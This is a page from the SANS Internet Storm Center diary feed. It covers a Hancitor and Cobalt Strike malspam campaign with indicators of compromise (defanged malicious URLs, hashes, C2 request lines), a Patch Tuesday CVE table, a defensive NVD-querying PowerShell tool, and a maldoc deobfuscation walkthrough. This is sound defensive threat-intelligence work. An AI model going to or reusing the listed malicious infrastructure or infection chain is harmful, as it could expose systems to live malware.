SANS

Subscribe to SANS hírcsatorna SANS
SANS Internet Storm Center - Cooperative Cyber Security Monitor
Frissítve: 8 perc 5 másodperc
2021. január 13.

Hancitor activity resumes after a hoilday break, (Wed, Jan 13th)

Introduction

Campaigns spreading Hancitor malware were active from October through December 2020, but Hancitor went quiet after 2020-12-17.  On Tuesday 2021-01-12, criminals started sending malicious spam (malspam) pushing Hancitor again.  Some people have already tweeted about this year's first wave of Hancitor.  See the links below.

Today's diary reviews recent Hancitor activity from Tuesday 2021-01-12, where we also saw Cobalt Strike after the initial infection.


Shown above:  Flow chart for recent Hancitor infection activity.

The malspam

On Tuesday 2021-01-12, malspam spreading used the same fake DocuSign template we saw several times last year.  These emails have a link to a Google Docs page.


Shown above:  Screenshot from one of the emails distributing Hancitor on Tuesday 2021-01-12.


Shown above:  Link from the email redirects to a page that can generate a Word document for Hancitor.


Shown above:  Word document with macros for Hancitor.

Infection traffic

As you might expect, traffic to the Google Docs page and clicking on the link generates a great deal of related web activity, mostly HTTPS traffic. Shortly after the Word document is sent, we find indicators of Hancitor and Cobalt Strike malware.  I've always seen Cobalt Strike when I test Hancitor in an Active Directory (AD) environment.  if you're investigating an actual Hancitor infection, be aware that it will likely send Cobalt Strike if the victim host is signed into an work environment that uses AD.


Shown above:  Traffic caused by the Google Docs page before the infection filtered in Wireshark.


Shown above:  Hancitor and Cobalt Strike traffic within an AD environment.

Indicators of Compromise (IOCs)

The following are indicators associated with Hancitor infections from Tuesday 2021-01-12.

Date/time of the six messages:

  • Tue, 12 Jan 2021 15:06:25 +0000 (UTC)
  • Tue, 12 Jan 2021 16:06:06 +0000 (UTC)
  • Tue, 12 Jan 2021 16:41:01 +0000 (UTC)
  • Tue, 12 Jan 2021 16:48:35 +0000 (UTC)
  • Tue, 12 Jan 2021 17:09:10 +0000 (UTC)
  • Tue, 12 Jan 2021 18:06:56 +0000 (UTC)

IP addresses the malspam was received from:

  • Received: from digital-negative.com ([179.154.63.198])
  • Received: from digital-negative.com ([74.85.247.234])
  • Received: from digital-negative.com ([181.137.227.228])
  • Received: from digital-negative.com ([104.161.24.86])
  • Received: from digital-negative.com ([23.236.75.32])
  • Received: from digital-negative.com ([112.15.74.137])

Spoofed sending addresses:

  • From: "DocuSign Signature  Service" <qybacy@digital-negative.com>
  • From: "DocuSign Signature and Invoice" <iqinica@digital-negative.com>
  • From: "DocuSign Electronic Signature and Invoice Service" <eupanic@digital-negative.com>
  • From: "DocuSign Electronic Signature " <uvizao@digital-negative.com>
  • From: "DocuSign Signature  Service" <nuxzoj@digital-negative.com>
  • From: "DocuSign Electronic Signature  Service" <zwtmicy@digital-negative.com>

Subject lines:

  • Subject: You received notification from DocuSign Electronic Service
  • Subject: You received notification from DocuSign Service
  • Subject: You got notification from DocuSign Electronic Signature Service
  • Subject: You got invoice from DocuSign Electronic Signature Service
  • Subject: You got notification from DocuSign Service
  • Subject: You received notification from DocuSign Electronic Signature Service

Links from the malspam:

  • hxxps://docs.google[.]com/document/d/e/2PACX-1vSEfjWipv61XyrbNDn1neBUGeHzEPM35pYN5QRYrpUy4X-sbHybYEZ7-b6Zf8yGyA_1e4wNj452FD_O/pub
  • hxxps://docs.google[.]com/document/d/e/2PACX-1vTiMxxKYdtOy98JFAiBaNe1W-VVdRGcZOZurDYA1jhcat-mcbcA8Uw7m_v4BvJ-H3o9m7ML_TtRNPQP/pub
  • hxxps://docs.google[.]com/document/d/e/2PACX-1vShuUk4DvIVthVxqc8UIUgZ7hOQzBQ1Dop8sXP73qBfS-JrlSrdIaZslExSyrr459kvaMmWbOAUkYii/pub
  • hxxps://docs.google[.]com/document/d/e/2PACX-1vRQ8skYzE8fzy9FnmU06fNCSEBTGwdYCxE1_NyLjxTCG7uEhpFtmI_IWAtk1FFmuQyAReDSuUCdyCFs/pub
  • hxxps://docs.google[.]com/document/d/e/2PACX-1vT_UMMUFR8J8IbN7rthTdttvciBU-17slZ2anuIq4A-8zT4xtF9ngzzyiEjlE8HSDZQ5tWu_w6HBFMf/pub
  • hxxps://docs.google[.]com/document/d/e/2PACX-1vQgYON0ZqbynIRhybfOxzkN8jUzIa-DkiYp-KOTxKzhFaDt2miDJBp14XJw8lMPHtU1tkIXDcwquIr-/pub

URLs that returned script to create the Word docs:

  • hxxp://savortrading[.]com/toweringly.php
  • hxxps://libifield.co[.]za/figs.php
  • hxxps://expertcircles[.]co[.]uk/assotiation.php
  • hxxps://libifield[.]co[.]za/oilcan.php
  • hxxp://3.133.244[.]105/irs.php

8 examples of downloaded Word docs (read: SHA256 hash - file name):

  • 080bade36015dd79925bab0975ac0f30f18424bdd1e7836d63c2dee350bdbd69 - 0112_528419802.doc
  • 2ac3b573d70c40c5c0fafe4e5914c723f2322a1c9cd76d232447654604ff8b76 - 0112_929792452.doc
  • 385425e94ed8ac21d7888550743b7a2b89afbeb51341713adb6da89cd63b5aff - 0112_203089882.doc
  • 7b013a271432cc9dea449ea9fcf727ed3caf7ce4cc6a9ba014b3dd880b5668dd - 0112_1079750132.doc
  • 8bcf45c2de07f322b8efb959e3cef38fb9983fdb8b932c527321fd3db5e444c8 - 0112_1005636132.doc
  • cab2a47456a2c51504a79ff24116a4db3800b099ec50d0ebea20c2c77739276d - 0112_722674781.doc
  • d6755718c70e20345c85d18c5411b67c99da5b2f8740d63221038c1d35ccc0b8 - 0112_153569242.doc
  • ed3fa9e193f75e97c02c48f5c7377ff7a76b827082fdbfb9d6803e1f7bd633ca - 0112_114086062.doc
  • Note: Each of the above files is 753,152 bytes in size.

SHA256 for 8 examples of DLL files dropped by the Word docs:

  • 00b2312dd63960434d09962ad3e3e7203374421b687658bd3c02f194b172bfe3
  • 0941090d3eb785dbf88fbfafffad34c4ab42877b279129616a455347883e5738
  • 43690eaf47245d69f4bda877c562852e4a9715955c2160345cb6cc84b18ca907
  • 82c9bc479ea92c1900422666792877e00256996ce2f931984115598ed2c26f23
  • 878319795a84ebfe5122d6fc21d27b4b94b3c28ad66679f841dec28ccc05e801
  • c3e06473c4c3d801c962e6c90ccbcab3d532fb5a6649077ea09cd989edf45eaf
  • cdcd5ee8b80d3a3863e0c55d4af5384522144011b071d00c9c71ae009305f130
  • edabef17fce2aaca61dbd17a57baf780cd82a2b0189b0cf3c5a7a3ca07e94a44
  • Note 1: Each of the above file is 570,368 bytes in size.
  • Note 2: Each file was saved at C:\Users\[username]\AppData\Roaming\Microsoft\Templates\W0rd.dll

Traffic to retrieve the Word doc:

  • port 443 - docs.google.com - HTTPS traffic
  • 104.31.80[.]93 port 80 - savortrading[.]com - GET /sacrifice.php

Hancitor post-infection traffic:

  • port 80 - api.ipify.org - GET /
  • 185.87.194[.]148 port 80 - fruciand[.]com - POST /8/forum.php

Binaries used to infect host with Cobalt Strike:

  • 47.254.175[.]0 port 80 - steroidi[.]pro - GET /2112.bin
  • 47.254.175[.]0 port 80 - steroidi[.]pro - GET /2112s.bin

Cobalt Strike Post-infection traffic:

  • 162.223.31[.]160 port 1080 - 162.223.31[.]160:1080 - GET /GvSL
  • 162.223.31[.]160 port 1080 - 162.223.31[.]160:1080 - GET /visit.js
  • 162.223.31[.]160 port 443 - HTTPS traffic

Final words

Hancitor has been active and evolving for years now, and it remains a notable presence in our current threat landscape.  This diary reviewed a recent infection on a vulnerable Windows host from malspam sent on Tuesday 2021-01-12.

Decent spam filters and best security practices should help most people avoid Hancitor infections. Default security settings in Windows 10 and Microsoft Office 2019 should prevent these these infections from happening.  However, it's a "cat-and-mouse" game, with malware developers developing new ways to circumvent security measures, while vendors update their software/applications/endpoint protection to address these new developments.  And malware distribution through email is apparently cheap enough to remain profitable for the criminals who use it.

A pcap of the infection traffic, some emails, and malware associated with today's diary can be found here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. január 12.

Microsoft January 2021 Patch Tuesday, (Tue, Jan 12th)

This month we got patches for 83 vulnerabilities. Of these, 10 are critical, one was previously disclosed, and one is already being exploited according to Microsoft.

Amongst critical vulnerability, let’s start with the already being exploited CVE-2021-1647. It is related to a remote code execution (RCE) vulnerability affecting Microsoft Defender until version 1.1.17600. The CVSS for this vulnerability is 7.80.

There is also a RCE on Windows RPC Runtime (CVE-2021-1658). According to the advisory, it requires no user interaction, low privileges, and low attack complexity. This vulnerability had the highest CVSS score for this month: 8.80.

And finally, the previously disclosed one is a privilege escalation vulnerability affecting splwow64 (CVE-2021-1648). This zero-day has been publicly disclosed Google Project Zero (PZ2096) and the Zero Day Initiative (ZDI-CAN-11349 through 11351). According to ZDI advisory, the specific issue that may result in privilege escalation exists within the user-mode printer driver host process splwow64.exe due to lack of proper validation of user-supplied data. CVSS: 7.80.

See Renato's dashboard for a more detailed breakout: https://patchtuesdaydashboard.com

January 2021 Security Updates

Description CVE Disclosed Exploited Exploitability (old versions) current version Severity CVSS Base (AVG) CVSS Temporal (AVG) ASP.NET Core and Visual Studio Denial of Service Vulnerability %%cve:2021-1723%% No No Less Likely Less Likely Important 7.5 6.5 Active Template Library Elevation of Privilege Vulnerability %%cve:2021-1649%% No No Less Likely Less Likely Important 7.8 6.8 Azure Active Directory Pod Identity Spoofing Vulnerability %%cve:2021-1677%% No No Less Likely Less Likely Important 5.5 4.8 Bot Framework SDK Information Disclosure Vulnerability %%cve:2021-1725%% No No Less Likely Less Likely Important 5.5 4.8 Diagnostics Hub Standard Collector Elevation of Privilege Vulnerability %%cve:2021-1651%% No No Less Likely Less Likely Important 7.8 6.8 %%cve:2021-1680%% No No Less Likely Less Likely Important 7.8 6.8 GDI+ Remote Code Execution Vulnerability %%cve:2021-1665%% No No Less Likely Less Likely Critical 7.8 6.8 HEVC Video Extensions Remote Code Execution Vulnerability %%cve:2021-1644%% No No Less Likely Less Likely Important 7.8 6.8 %%cve:2021-1643%% No No Less Likely Less Likely Critical 7.8 7.0 Hyper-V Denial of Service Vulnerability %%cve:2021-1691%% No No Less Likely Less Likely Important 7.7 6.7 %%cve:2021-1692%% No No Less Likely Less Likely Important 7.7 6.7 Microsoft DTV-DVD Video Decoder Remote Code Execution Vulnerability %%cve:2021-1668%% No No Less Likely Less Likely Critical 7.8 6.8 Microsoft Defender Remote Code Execution Vulnerability %%cve:2021-1647%% No Yes Detected Detected Critical 7.8 7.0 Microsoft Edge (HTML-based) Memory Corruption Vulnerability %%cve:2021-1705%% No No Less Likely Less Likely Critical 4.2 3.8 Microsoft Excel Remote Code Execution Vulnerability %%cve:2021-1713%% No No Less Likely Less Likely Important 7.8 6.8 %%cve:2021-1714%% No No Less Likely Less Likely Important 7.8 6.8 Microsoft Office Remote Code Execution Vulnerability %%cve:2021-1711%% No No Less Likely Less Likely Important 7.8 6.8 Microsoft SQL Elevation of Privilege Vulnerability %%cve:2021-1636%% No No Less Likely Less Likely Important 8.8 7.7 Microsoft SharePoint Elevation of Privilege Vulnerability %%cve:2021-1712%% No No Less Likely Less Likely Important 8.0 7.0 %%cve:2021-1719%% No No Less Likely Less Likely Important 8.0 7.0 Microsoft SharePoint Server Remote Code Execution Vulnerability %%cve:2021-1707%% No No More Likely More Likely Important 8.8 7.7 Microsoft SharePoint Server Tampering Vulnerability %%cve:2021-1718%% No No Less Likely Less Likely Important 8.0 7.0 Microsoft SharePoint Spoofing Vulnerability %%cve:2021-1641%% No No Less Likely Less Likely Important 4.6 4.0 %%cve:2021-1717%% No No Less Likely Less Likely Important 4.6 4.0 Microsoft Windows Media Foundation Remote Code Execution Vulnerability %%cve:2021-1710%% No No Less Likely Less Likely Important 7.8 6.8 Microsoft Word Remote Code Execution Vulnerability %%cve:2021-1715%% No No Less Likely Less Likely Important 7.8 6.8 %%cve:2021-1716%% No No Less Likely Less Likely Important 7.8 6.8 Microsoft splwow64 Elevation of Privilege Vulnerability %%cve:2021-1648%% Yes No Less Likely Less Likely Important 7.8 7.0 NTLM Security Feature Bypass Vulnerability %%cve:2021-1678%% No No Less Likely Less Likely Important 4.3 3.8 Remote Procedure Call Runtime Remote Code Execution Vulnerability %%cve:2021-1658%% No No Less Likely Less Likely Critical 8.8 7.7 %%cve:2021-1660%% No No Less Likely Less Likely Critical 8.8 7.7 %%cve:2021-1664%% No No Less Likely Less Likely Important 8.8 7.7 %%cve:2021-1666%% No No Less Likely Less Likely Critical 8.8 7.7 %%cve:2021-1667%% No No Less Likely Less Likely Critical 8.8 7.7 %%cve:2021-1671%% No No Less Likely Less Likely Important 8.8 7.7 %%cve:2021-1673%% No No Less Likely Less Likely Critical 8.8 7.7 %%cve:2021-1700%% No No Less Likely Less Likely Important 8.8 7.7 %%cve:2021-1701%% No No Less Likely Less Likely Important 8.8 7.7 TPM Device Driver Information Disclosure Vulnerability %%cve:2021-1656%% No No Less Likely Less Likely Important 5.5 4.8 Visual Studio Remote Code Execution Vulnerability %%cve:2020-26870%% No No Less Likely Less Likely Important 7.0 6.1 Windows (modem.sys) Information Disclosure Vulnerability %%cve:2021-1699%% No No Less Likely Less Likely Important 5.5 4.8 Windows AppX Deployment Extensions Elevation of Privilege Vulnerability %%cve:2021-1642%% No No Less Likely Less Likely Important 7.8 6.8 %%cve:2021-1685%% No No Less Likely Less Likely Important 7.3 6.4 Windows Bluetooth Security Feature Bypass Vulnerability %%cve:2021-1683%% No No Less Likely Less Likely Important 5.0 4.4 %%cve:2021-1684%% No No Less Likely Less Likely Important 5.0 4.4 %%cve:2021-1638%% No No Less Likely Less Likely Important 7.7 6.7 Windows CSC Service Elevation of Privilege Vulnerability %%cve:2021-1652%% No No Less Likely Less Likely Important 7.8 6.8 %%cve:2021-1653%% No No Less Likely Less Likely Important 7.8 6.8 %%cve:2021-1654%% No No Less Likely Less Likely Important 7.8 6.8 %%cve:2021-1655%% No No Less Likely Less Likely Important 7.8 6.8 %%cve:2021-1659%% No No Less Likely Less Likely Important 7.8 6.8 %%cve:2021-1688%% No No Less Likely Less Likely Important 7.8 6.8 %%cve:2021-1693%% No No Less Likely Less Likely Important 7.8 6.8 Windows CryptoAPI Denial of Service Vulnerability %%cve:2021-1679%% No No Less Likely Less Likely Important 6.5 5.7 Windows DNS Query Information Disclosure Vulnerability %%cve:2021-1637%% No No Less Likely Less Likely Important 5.5 4.8 Windows Docker Information Disclosure Vulnerability %%cve:2021-1645%% No No Less Likely Less Likely Important 5.0 4.4 Windows Event Logging Service Elevation of Privilege Vulnerability %%cve:2021-1703%% No No Less Likely Less Likely Important 7.8 6.8 Windows Event Tracing Elevation of Privilege Vulnerability %%cve:2021-1662%% No No Less Likely Less Likely Important 7.8 6.8 Windows Fax Compose Form Remote Code Execution Vulnerability %%cve:2021-1657%% No No Less Likely Less Likely Important 7.8 6.8 Windows GDI+ Information Disclosure Vulnerability %%cve:2021-1708%% No No Less Likely Less Likely Important 5.7 5.0 Windows Graphics Component Information Disclosure Vulnerability %%cve:2021-1696%% No No Less Likely Less Likely Important 5.5 4.8 Windows Hyper-V Elevation of Privilege Vulnerability %%cve:2021-1704%% No No Less Likely Less Likely Important 7.3 6.4 Windows InstallService Elevation of Privilege Vulnerability %%cve:2021-1697%% No No Less Likely Less Likely Important 7.8 6.8 Windows Installer Elevation of Privilege Vulnerability %%cve:2021-1661%% No No Less Likely Less Likely Important 7.8 6.8 Windows Kernel Elevation of Privilege Vulnerability %%cve:2021-1682%% No No Less Likely Less Likely Important 7.0 6.1 Windows LUAFV Elevation of Privilege Vulnerability %%cve:2021-1706%% No No Less Likely Less Likely Important 7.3 6.4 Windows Multipoint Management Elevation of Privilege Vulnerability %%cve:2021-1689%% No No Less Likely Less Likely Important 7.8 6.8 Windows NT Lan Manager Datagram Receiver Driver Information Disclosure Vulnerability %%cve:2021-1676%% No No Less Likely Less Likely Important 5.5 4.8 Windows Print Spooler Elevation of Privilege Vulnerability %%cve:2021-1695%% No No Less Likely Less Likely Important 7.8 6.8 Windows Projected File System FS Filter Driver Information Disclosure Vulnerability %%cve:2021-1663%% No No Less Likely Less Likely Important 5.5 4.8 %%cve:2021-1670%% No No Less Likely Less Likely Important 5.5 4.8 %%cve:2021-1672%% No No Less Likely Less Likely Important 5.5 4.8 Windows Remote Desktop Protocol Core Security Feature Bypass Vulnerability %%cve:2021-1674%% No No Less Likely Less Likely Important 8.8 7.7 Windows Remote Desktop Security Feature Bypass Vulnerability %%cve:2021-1669%% No No Less Likely Less Likely Important 8.8 7.7 Windows Remote Procedure Call Runtime Elevation of Privilege Vulnerability %%cve:2021-1702%% No No Less Likely Less Likely Important 7.8 6.8 Windows Runtime C++ Template Library Elevation of Privilege Vulnerability %%cve:2021-1650%% No No Less Likely Less Likely Important 7.8 6.8 Windows Update Stack Elevation of Privilege Vulnerability %%cve:2021-1694%% No No Less Likely Less Likely Important 7.5 6.5 Windows WLAN Service Elevation of Privilege Vulnerability %%cve:2021-1646%% No No Less Likely Less Likely Important 6.6 5.8 Windows WalletService Elevation of Privilege Vulnerability %%cve:2021-1681%% No No Less Likely Less Likely Important 7.8 6.8 %%cve:2021-1686%% No No Less Likely Less Likely Important 7.8 6.8 %%cve:2021-1687%% No No Less Likely Less Likely Important 7.8 6.8 %%cve:2021-1690%% No No Less Likely Less Likely Important 7.8 6.8 Windows Win32k Elevation of Privilege Vulnerability %%cve:2021-1709%% No No More Likely More Likely Important 7.0 6.1

--
Renato Marinho
Morphus Labs| LinkedIn|Twitter

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. január 12.

ISC Stormcast For Tuesday, January 12th, 2021 https://isc.sans.edu/podcastdetail.html&#x3f;id=7324, (Tue, Jan 12th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. január 11.

Using the NVD Database and API to Keep Up with Vulnerabilities and Patches - Tool Drop: CVEScan (Part 3 of 3), (Mon, Jan 11th)

Now with a firm approach to or putting an inventory and using the NVD API (https://isc.sans.edu/forums/diary/Using+the+NIST+Database+and+API+to+Keep+Up+with+Vulnerabilities+and+Patches+Part+1+of+3/26958/ and https://isc.sans.edu/forums/diary/Using+the+NIST+Database+and+API+to+Keep+Up+with+Vulnerabilities+and+Patches+Playing+with+Code+Part+2+of+3/26964/), for any client I typically create 4 inventories:

  • Devices/appliances and applications that are exposed at the perimeter (public internet or other firewalled trust boundary)
  • Server applications and devices/appliances
  • Workstation  applications
  • IOT devices (in workstation or dedicated VLANs/subnets)

As we've noted, you can use nmap as a short-cut for a first draft of any products that have listening ports.  It's not perfect, but it gives you a decent starting point, or something to "diff" against from one scan to the next.  To just get your the CPE list for a subnet or range of IPs, this does the trick nicely:

nmap -p <ports> -sV --open <subnet> | grep -i cpe | awk -F" "  "{print $NF}" | sort | uniq

(-F gives the delimiter, the print command prints the $NF field.  Since $NF is the number of fields, it prints the last one, which happens to be the CPE).


Let's focus on the first one of these target list - perimeter services for an actual customer.
Starting with Cisco FTD (Firepower Threat Defense), we see that even the titles vary from version to version, and the versions are very granular for this product
>type official-cpe-dictionary_v2.3.xml | grep -i title | grep -i cisco | grep -i firepower | grep -i -v management | grep -i "threat defense"
( excerpt only)

    <title xml:lang="en-US">Cisco Firepower Threat Defense (FTD) 6.5.0.3</title>
    <title xml:lang="en-US">Cisco Firepower Threat Defense 6.5.0.5</title>
    <title xml:lang="en-US">Cisco Firepower Threat Defense 6.6.0</title>
    <title xml:lang="en-US">Cisco Firepower Threat Defense (FTD) 6.6.1</title>

Since this is such a lengthy (and version-specific) list, let's try to consolidate.  From cisco's download site, the latest and recommended version (as of today) is 6.6.1.  Knowing that this client will be "close to current" on this, a quick look for FTD 6.6:

"cpe:2.3:a:cisco:firepower_threat_defense:6.6.*:*:*:*:*:*:*:*"

gives us these hits:

cpe:2.3:a:cisco:firepower_threat_defense:6.6.0:*:*:*:*:*:*:*
cpe:2.3:a:cisco:firepower_threat_defense:6.6.1:*:*:*:*:*:*:*

So our final input data file has the following (hostname followed by the cpe "blanket" query):

"dc01-fw01","cpe:2.3:a:cisco:firepower_threat_defense:6.6.*"

Let's add in the Citrix Netscaler Gateway (now called ADC).  The ADC is a pretty versatile appliance, it can be a load balancer, a firewall, a front-end for a Citrix farm, or (just like everyone else these days) and SD-WAN solution.  In our case it's a front-end for a Citrix XenServer farm.
The current version is 13.x, so let's search for all of 13.*:

cpe:2.3:o:citrix:application_delivery_controller_firmware:13.*

Finally, this client also has an application that uses Apache Struts, which they have been very particular about monitoring since the Equifax breach:
The current stable version is 2.5.26, let's hunt for cpe:

cpe:2.3:a:apache:struts:2.5.*

So our perimeter input file will look like this (again, the fields are hostname,cpe):

"dc01-fw01","cpe:2.3:a:cisco:firepower_threat_defense:6.6.*"
"dc01-adc01","cpe:2.3:o:citrix:application_delivery_controller_firmware:13.*"
"dc01-appsrv01","cpe:2.3:a:apache:struts:2.5.*"

We'll call our code with (note the input filename):

cvescan.ps1 -i Customername.Perimeter.in -d 90

This will give us the CVEs for the indicated platforms, for the last 90 days, sorted from high severity to low.

And our code will look like the listing below (maintained at https://github.com/robvandenbrink/CVEScan ):

##########################################################################

# CVESCAN

# Version 1.iscisc0

# Assess an inventoried infrastructure from pre-inventoried CPEs and published CVEs

#

# Hosted at https://github.com/robvandenbrink/CVEScan

#

# Further documentation at:

#         https://isc.sans.edu/forums/diary/Using+the+NIST+Database+and+API+to+Keep+Up+with+Vulnerabilities+and+Patches+Part+1+of+3/26958/

#         https://isc.sans.edu/forums/diary/Using+the+NIST+Database+and+API+to+Keep+Up+with+Vulnerabilities+and+Patches+Playing+with+Code+Part+2+of+3/26964/

#         https://isc.sans.edu/forums/diary/Using+the+NVD+Database+and+API+to+Keep+Up+with+Vulnerabilities+and+Patches+Tool+Drop+CVEScan+Part+3+of+3/26974/

#

# Syntax:

#         CVEScan.ps1  -i <input file> -d <how many days back to look>

##########################################################################

 

param (

[alias("i")]

$infile,

[alias("d")]

$daterange

)

 

function helpsyntax {

write-host "CVESCAN: Assess a known inventory against current CVEs"

write-host "Parameters:"

write-host "    -i          <input file name>"

write-host "Optional Parameters:"

write-host "    -d          <CVEs for last "n" days>"

write-host "cvescan -i perimeterdevices.in -d 60"

exit

}

 

if ($daterange -eq 0) { write-host "ERROR: Must specify input filename and date range`n" ; helpsyntax }

 

# setup

$allCVEs = @()

$CVEDetails = @()

 

$apps = Import-Csv -path $infile

$now = get-date

$outfile = $infile.replace(".in",$now.tostring("yyyy-MM-dd_hh-mm")+"_"+$daterange+"-days.html")

$StartDate = $now.adddays(-$daterange).tostring("yyyy-MM-dd")+ "T00:00:00:000%20UTC-00:00"

 

# Collect host to CVEs table

foreach ($app in $apps) {

    $request = "https://services.nvd.nist.gov/rest/json/cves/1.0?modStartDate=" + $StartDate + "&cpeMatchString=" + $app.cpe

    $CVEs = (invoke-webrequest $request | ConvertFrom-Json).result.CVE_items.cve.CVE_data_meta.id

    foreach ($CVE in $CVEs) {

        $tempobj = [pscustomobject]@{

            Hostname = $app.hostname

            CVE = $CVE

           }

        $allCVEs += $tempobj

        }

    }

 

$Header = @"

<style>

TABLE {border-width: 1px; border-style: solid; border-color: black; border-collapse: collapse;}

TH {border-width: 1px; padding: 3px; border-style: solid; border-color: black; background-color: #6495ED;}

TD {border-width: 1px; padding: 3px; border-style: solid; border-color: black;VERTICAL-ALIGN: TOP; font-size: 15px}

</style>

"@

 

$filepath = gci $infile

 

$Title = @()

$Title += [pscustomobject]@{ Organization="Scope";bbb=$filepath.basename.split(".")[1] }

$Title += [pscustomobject]@{ Organization="From Date:"; bbb=($now.adddays(-$daterange).tostring("yyyy-MM-dd")) }

$Title += [pscustomobject]@{ Organization="To Date:";bbb=$now.tostring("yyyy-MM-dd") }

 

(($Title | convertto-HTML -title "CVE Summary" -Head $header) + "<br><br><br>").replace("bbb",$filepath.basename.split(".")[0]) | out-file  $outfile

 

(($allCVEs | Convertto-HTML -Head $header) + "<br><br>") | out-file -append $outfile

 

#parse out just the CVEs

$justCVEs = $allCVEs | select CVE | Sort-Object | Get-Unique -AsString

 

# collect CVE info

foreach ($CVE in $justCVEs) {

    $h = ""

    $request = "https://services.nvd.nist.gov/rest/json/cve/1.0/" + $CVE.CVE

    $cvemetadata = (invoke-webrequest $request) | convertfrom-json

    $CVEURLs = $cvemetadata.result.cve_items.cve.references.reference_data.url

    $affectedApps = ($cvemetadata.result.CVE_items.configurations.nodes.children.cpe_match) | where {$_.vulnerable -eq "true" } | select cpe23Uri,versionendincluding

 

    # add the affected hosts back into the detailed listing

    # write-host $CVE.CVE

    foreach ($ac in $allCVEs) {

        if ($ac.CVE -eq $CVE.CVE) {

            $h += ($ac.Hostname + "<br>")

            }

        }

 

    $tempobj = [pscustomobject]@{

        CVE = $CVE.CVE

        Hosts = $h

        # Just the datestamp, remove the clock time

        "Published Date" = ($cvemetadata.result.cve_items.publishedDate).split("T")[0]

        "CVE Description" = $cvemetadata.result.cve_items.cve.description.description_data.value

        Vector = $cvemetadata.result.CVE_items.impact.basemetricv3.cvssv3.attackVector

        "Attack Complexity" = $cvemetadata.result.CVE_items.impact.basemetricv3.cvssv3.attackComplexity

        "User Interaction" = $cvemetadata.result.CVE_items.impact.basemetricv3.cvssv3.userInteraction

        "Base Score" = $cvemetadata.result.CVE_items.impact.basemetricv3.cvssv3.baseScore

        "Severity" = $cvemetadata.result.CVE_items.impact.basemetricv3.cvssv3.baseSeverity

        "Reference URLs" = ($CVEURLs | ft -hidetableheaders | out-string).replace("`n","`n<br>")

        "Affected Apps" = ($affectedapps | ft -HideTableHeaders | out-string).replace("`n","`n<br>")

        }

    $CVEDetails += $tempobj

    }

 

# to just view the detailed output

# $CVEDetails | out-gridview

 

# to output to HTML

$Header = @"

<style>

TABLE {border-width: 1px; border-style: solid; border-color: black; border-collapse: collapse;}

TH {border-width: 1px; padding: 3px; border-style: solid; border-color: black; background-color: #6495ED;}

TD {border-width: 1px; padding: 3px; border-style: solid; border-color: black;VERTICAL-ALIGN: TOP; font-size: 15px}

</style>

"@

 

# Note that the <br> tags get escaped, these are un-escaped below

# this is a horrible hack, but I can't find a decent "elegant" way to do this

# ... in less than 5x the time it took me to do it the ugly way  :-)

 

 

(($CVEDetails | sort -descending -property "Base Score" )| Convertto-HTML -Head $header) -replace '&lt;br&gt;', '<br>' | out-file  -append $outfile

 

Our output is dumped into: Customername.Perimeter-dateandtime-days.html, so for this example and today's date: Customername.Perimeter2021-01-11_09-50_90-days.html (note that the output filename mirrors the input filename - change that if you need)

Note also in the output that I had to un-escape all of the line breaks that were in the output (sometimes the quick and dirty methods win over perfect code)

Looking at that file, our output (truncated) looks as below.  The lead in is the customer and date range info, followed by the CVE's found on which host.  The final table contains all the CVE details, in descending / unique order of "Base Score" of Severity:

 


 As mentioned, the code is on my github - use it or modify it to suit your needs.  For the most part it's a short list of API requests, with parsing, formatting and I/O bolted on - so if you'd prefer this to be in a different language of course feel free!

If you were able to head off a "situation" in your environment, or if that nmap trick finds something unexpected in your environment, please do post to our comment form (subject to NDA's of course)

===============
Rob VandenBrink
rob@coherentsecurity.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. január 11.

New version of Sysinternals released, Process Hollowing detection added in Sysmon, new registry access detection added to Procmon https://docs.microsoft.com/en-us/sysinternals/, (Mon, Jan 11th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. január 11.

ISC Stormcast For Monday, January 11th, 2021 https://isc.sans.edu/podcastdetail.html&#x3f;id=7322, (Mon, Jan 11th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. január 10.

Maldoc Analysis With CyberChef, (Sun, Jan 10th)

In diary entry "Maldoc Strings Analysis" I show how to analyze a malicious document, by extracting and dedocing strings with command-line tools.

In this video, I analyze the same malicious Word document, using CyberChef only. This is possible, because this particular maldoc contains a very long string with the payload, and this string can be extracted without parsing the structure of this .doc file.

I pasted the recipe on pastebin here.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. január 9.

Maldoc Strings Analysis, (Sat, Jan 9th)

As I announced in my diary entry "Strings 2021", I will write some diary entries following a simpler method of malware analysis, namely looking for strings inside malicious files using the strings command. Of course, this simple method will not work for most malware samples, but I still see enough samples for which this method will work.

Like this recent malicious Word document. When you analyze this sample with oledump.py, you will find an obfuscated PowerShell command inside the content of the Word document.

But we are not going to use oledump this time. We will look directly for strings inside the document, using my tool strings.py (similar to the strings command, but with some extra features).

When we run strings.py with option -a on the sample, a report with statistics will be produced:

We see that strings.py extracted 1549 strings, and that the longest string is characters bytes long.

That is unusual for a Word document, to contain such a long string. We run strings.py again, now with option -n 15000: this specifies that the minimum length of the strings extracted by strings.py should be 15000. Since there is only one string that is longer than 15000 in this sample, we will see the longest string (and only the longest string, no other strings):

This looks like a BASE64 string (ending with ==), except that there are a lot of repeating characters that are not BASE64 characters: ] and [.

What we have here, is obfuscation through repeated insertion of a unique string. I explain this in detail in my diary entry "Obfuscation and Repetition".

]b2[ is propably the string that is inserted over and over again to obfuscate the original string. To be sure, we can use my ad-hoc tool deobfuscate-repetitions.py:

So the repeating string actually seems to be ]b2[s (appearing 2028 times), and when you removing this repeating string, the string that remains starts with cmd cmd ...

My tool deobfuscate-repetitions.py will continue running looking for other potential repeating strings, but it's clear that we found the correct one here, so we can just stop my tool with control-C.

And now that we used my tool to detect repeating strings, we will use it to deobfuscate the original string. This is done by using option -f (find) to find a deobfuscated string that contains a string we specify, cmd in this example:

And what we see here is a PowerShell command with a BASE-64 encoded script as argument.

